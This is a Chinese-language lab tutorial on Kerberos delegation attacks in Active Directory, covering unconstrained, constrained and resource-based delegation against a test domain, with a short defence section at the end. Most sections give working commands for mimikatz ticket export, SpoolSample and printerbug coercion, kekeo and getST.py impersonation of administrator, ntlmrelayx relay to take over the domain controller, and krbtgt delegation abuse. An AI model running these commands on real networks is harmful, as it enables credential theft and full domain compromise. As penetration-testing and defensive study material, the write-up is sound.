域渗透之委派攻击全集
字数 1561 2025-08-27 12:33:54
域渗透之委派攻击全集 - 技术文档
1. 域委派基础概念
1.1 什么是域委派
域委派是将域用户的权限委派给服务账号的过程,委派后服务账号可以以域用户的身份执行该用户能做的操作。
注意:能够被委派的用户只能是:
- 机器账户:活动目录中Computers组内的计算机
- 服务账号:服务器运行服务时所用的账号(如SQLServer、MySQL等),或通过注册SPN成为服务账号的域用户
1.2 委派分类
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
2. 非约束委派攻击
2.1 非约束委派原理
服务账号可以使用用户的TGT请求访问任意服务,存在严重安全隐患。
经典攻击流程:
- 攻击者控制配置了非约束委派的服务
- 诱导域管理员访问该服务
- 服务会保存域管理员的TGT票据
- 攻击者导出并使用该票据进行横向移动
2.2 实验环境
- 域控:DC (10.150.127.166)
- 域机器:WEB (10.150.127.168)
- 域用户:many/asd123!
2.3 攻击方法
方法1:直接获取票据
-
查找配置了非约束委派的机器:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn -
使用mimikatz导出票据:
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit -
导入管理员票据:
mimikatz.exe "kerberos::ptt [票据文件]" "exit"
方法2:利用打印机漏洞
-
使用SpoolSample工具强制域控向目标发起认证:
SpoolSample.exe DC目标IP 监听IP -
捕获并导出票据后导入使用
3. 约束委派攻击
3.1 约束委派原理
相比非约束委派,约束委派限制了服务账号只能代表用户访问特定服务。
关键概念:
- S4U2Self:服务代表用户请求自身服务的票据
- S4U2Proxy:服务使用S4U2Self获取的票据请求指定服务
3.2 攻击方法
方法1:使用机器账户
-
查找配置了约束委派的账户:
AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -
使用kekeo申请服务票据:
kekeo.exe "tgs::s4u /tgt:[TGT票据] /user:Administrator@haishi.com /service:cifs/DC.haishi.com" -
导入票据进行访问
方法2:使用机器账户Hash
- 获取机器账户NTLM Hash
- 使用kekeo请求TGT:
kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:[hash]" - 申请并导入服务票据
4. 基于资源的约束委派攻击(RBCD)
4.1 RBCD原理
- 控制权交给资源拥有者
- 可以跨域和林
- 不需要域管理员权限
4.2 攻击条件
-
具有修改目标主机msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:
- 将主机加入域的用户
- Account Operators组成员
- 主机自身的机器账户
-
可以创建机器账户的域用户(或已知机器账户)
4.3 攻击方法
方法1:本地提权
-
创建机器账户:
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) -
设置目标主机的委派属性:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID])" Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -
使用getST.py申请票据:
python3 getST.py -dc-ip DC_IP haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator -
导入票据进行访问
方法2:Account Operators组攻击
- 确认Account Operators组成员身份
- 创建机器账户并设置委派
- 申请并导入票据
方法3:结合NTLM Relay接管域控
- 创建机器账户
- 启动NTLM Relay:
python3 ntlmrelayx.py -t ldap://DC_IP -smb2support --remove-mic --delegate-access --escalate-user test2\$ - 触发打印机漏洞:
python3 printerbug.py domain/user:password@target relay_ip - 申请并导入票据
方法4:变种黄金票据
- 创建机器账户
- 为krbtgt设置委派:
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test4$ - 申请票据:
python3 getST.py haishi.com/test4\$:123456 -spn krbtgt -impersonate administrator
5. 防御措施
- 将高权限用户设置为"敏感用户,不能被委派"
- 主机账号委派时只使用约束性委派
- 将关键用户加入Protected Users组
- 安装补丁KB4598347修复CVE-2020-17049
- 启用SMB签名防止NTLM Relay攻击
6. 工具列表
- Mimikatz
- AdFind
- kekeo
- Impacket工具包(getST.py, wmiexec.py等)
- Powermad.ps1
- PowerView.ps1
- SpoolSample